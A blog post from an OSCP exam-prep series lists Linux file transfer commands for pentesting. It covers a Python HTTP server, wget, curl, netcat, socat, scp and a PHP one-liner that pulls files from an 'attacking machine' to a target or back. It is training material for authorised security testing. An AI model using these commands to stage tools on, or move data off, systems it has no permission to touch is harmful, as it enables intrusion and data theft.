OSCP Blog Series – OSCP CheatSheet – Linux File Transfer Techniques

OSCP Cheatsheet - Linux File Transfer Techniques

In the last post Windows File Transfer Techniques , we discussed about various techniques to transfer files to/from windows based targets. As we discussed earlier the windows based file transfer is quite complex as compared to Linux. So it’s really useful to have a cheatsheet with us while doing any Pentesting activities.

In this post, we will see various file transfer techniques for Linux based targets. So here is a compilation of Linux based file transfer techniques which will help us in our OSCP exercises/exam as well as other Pentesting activities.

Apart from this, few of the windows based techniques can also be used for file transfer in Linux if you are able to install/enable those tools/utilities in Linux such as use of Powershell.


Kali Machine(Attacking machine)- We need to start the http server to serve the files so that other systems can access it.

HTTP Server

python -m SimpleHTTPServer 80
python -m http.server 80


Wget

wget http://192.168.1.2/filename.txt


Curl

curl http://192.168.1.2/filename.txt -o filename.txt


Netcat


Target Linux
nc -nlvp 4444 > outputfile.exe

Kali
nc -nv 192.168.1.2 4444 < /usr/inputfile.exe


Socat

Kali
socat TCP4-LISTEN:443,fork file:file.txt

Target Linux
socat TCP4:192.168.1.2:443 file:file.txt,create


SCP

scp /source/path/file.zip username@192.168.1.2:/destination/path/file.zip


PHP

echo "<?php file_put_contents('filename', fopen('http://192.168.1.2/filename', 'r')); ?>" > filename.php




Author: Yogesh Prasad

Information Security Professional | Cyber Security Expert | Ethical Hacker | Founder – Hackers Interview

Leave a Reply

Your email address will not be published. Required fields are marked *

Subscribe Us